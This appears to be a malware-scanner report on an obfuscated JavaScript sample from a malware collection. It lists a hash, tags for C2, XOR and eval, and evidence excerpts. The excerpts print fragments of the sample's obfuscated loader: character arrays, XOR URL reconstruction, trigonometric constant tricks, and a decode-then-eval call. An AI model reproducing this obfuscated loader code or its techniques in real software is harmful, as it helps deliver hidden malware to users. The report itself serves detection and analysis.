Suspicious ^80% javascript-malware-collection Download

20151217_551400094992782ccd41fb4a8eda13f7.js

obfuscated C2 XOR eval

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256df66f8b6dfde6eca27e45f68728171fa293d0e6b970ad9d03ff39ff1bfec5c6a

Evidence

Builds characters with String.fromCharCode line 2

2:162… 'O','A',')','Z','O','(','>','i','=','5','n','n','n','D','x','K',String.fromCharCode(10),'!','G','@','^','>','6','T','Y','U','5','2','h',String.fromCharCode(13),'#','f','x','x','m','E','&','A','#','0','^','3','$','<','2','e','&','j','u','s','-','?',',',')','c','d',';','r',']','I','c','F','B','?','M','$','Q','M','H','r','u','x','{ …

XOR URL reconstruction call line 2

2:1846… '9','9','A','Y','*','+','z','O','/','=','Z','[','k','x','5','L',String.fromCharCode(92),' ','k','a','h','$','2','@','U',']','^','*','n','O','5','k','8','>','L','_',';','N','v','`','N','a','M','8','$','0','b','V','n','^','7','c',']','c','=','+','F','8','w','d','d','v','B','e','G','>','B','v','f','R','L','J','j','i',')','g','G','s','h','g','#','{ …

Dense indexed short-token grid lines 4–13

4:44… mzgKuY){SlUV=xCZCaFBLNJYxGAicI(hsJCiIzetGl,DUKGXnSwhtISC);eCvxZ=SlUV.toString(dUmzgKuY);return eCvxZ;}
5function rkLFnDrPvyPpuCt(EfcBTQbUNBFvynHjv,EXyhIBGmEeNyGNByOvVIYYjKplVjIdwDfj,OvNxfsiFxCLfRFePjGQyygdsovRjrTxbCjR){eval(EfcBTQbUNBFvynHjv);}
6function PZXSjOFWbyKvUSfKjRWsCnXYNTHQiUytbNJzdADUwnZOyAqxZitFLY(ZuJPryWWvGShM,CMfoWJsAxqMTYK){ return geKlySm[kvEXhQpN[oDyqK(ZuJPryWWvGShM[CMfoWJsAxqMTYK],(10925+191)/397,(2254+526)/278)]];}
7function erIJOzR(LJnbRtZKGJfNcxqSZUNkqjoZGqvTBPvIHFMk) {return !sroLsUYEuVl(vOTCBdsNkOyjhIU(LJnbRtZKGJfNcxqSZUNkqjoZGqvTBPvIHFMk)) && aQbTGmIZwdWl(LJnbRtZKGJfNcxqSZUNkqjoZGqvTBPvIHFMk);}
8function sroLsUYEuVl(qEJvvyQovogslY) {return isNaN(qEJvvyQovogslY);}
9function aQbTGmIZwdWl(xspsVLdFGwHyA) {return isFinite(xspsVLdFGwHyA);}
10function xCZCaFBLNJYxGAicI(BOXSWzOOlG,hJgJzpaTbM) {return parseInt(BOXSWzOOlG,hJgJzpaTbM);}
11function vOTCBdsNkOyjhIU(CtruHbhZYdpJHqSQFqb) {return parseFloat(CtruHbhZYdpJHqSQFqb);}
12function o(uZvBMTrMSEdEqu,sWPAUBGBJwOlT,smUNKrDzYaQ) {uZvBMTrMSEdEqu[sWPAUBGBJwOlT]=smUNKrDzYaQ;}
13var k = new Array();k[0]=[];k[0][0]='d';k[0][1]='a';k[0][2]='d';k[0][3]='a';k[0][4]='46';k[0][5]='3d';k[0][6]='42';k[0][7]='14';k[0][8]='34';k[0][9]='14';k[0][10]='25';k[0][11]='14';k[0][12]='16';k[0][13]='47';k[0][14]='3k';k[0][15]='3d';k[0][16]='44';k[0][17]='3g';k[0][18]='3l';k[0][19]='3g';k[0][20]='49';k[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],k[4],k[5]];
20var EwLSBOWLm=[];
21function NnpuiUUMRaMjQLnXU(KokiG){pSWyxGhTOMN= '';woxIqmCkfAu=Math.round((Math.pow(Math.sin(499), 2) + Math.pow(Math.cos(499), 2) - 1));while(true){if (woxIqmCkfAu >= (3935+355)/715){break;}EwLSBOWLm[woxIqmCkfAu]=Math.round((Math.pow(Math.sin(941), 2) + Math.pow(Math.cos(941), 2) - 1)); while(true) { if(EwLSBOWLm[woxIqmCkfAu] > KokiG[woxIqmCkfAu].length-(-592+870)/278) { break; } if (erIJOzR(oDyqK(KokiG[woxIqmCkfAu][EwLSBOWLm[woxIqmCkfAu]],(9089+795)/353,(9505+25)/953))) {pSWyxGhTOMN += PZXSjOFWbyKvUSfKjRWsCnXYNTHQiUytbNJzdADUwnZOyAqxZitFLY([KokiG[woxIqmCkfAu][EwLSBOWLm[woxIqmCkfAu]]], Math.round((Math.pow(Math.sin(161), 2) + Math.pow(Math.cos(161), 2) - 1)));} EwLSBOWLm[woxIqmCkfAu]++;}woxIqmCkfAu++;} return pSWyxGhTOMN}
22var BlvPJuPOjcMvHQuGMDLWrAJMNsHgVHNRJ = 'pLGJwufCjtYZYxMQjBhkIcYuqWMEBgaFmULG';var pphuJScPXLYHHozNJFCNLNNQFbglOMWC = 'tpdkrlQQZdDPVEkJqNtQVXIoOGENSqOaRcaf';rkLFnDrPvyPpuCt(NnpuiUUMRaMjQLnXU(KokiG),BlvPJuPOjcMvHQuGMDLWrAJMNsHgVHNRJ,pphuJScPXLYHHozNJFCNLNNQFbglOMWC);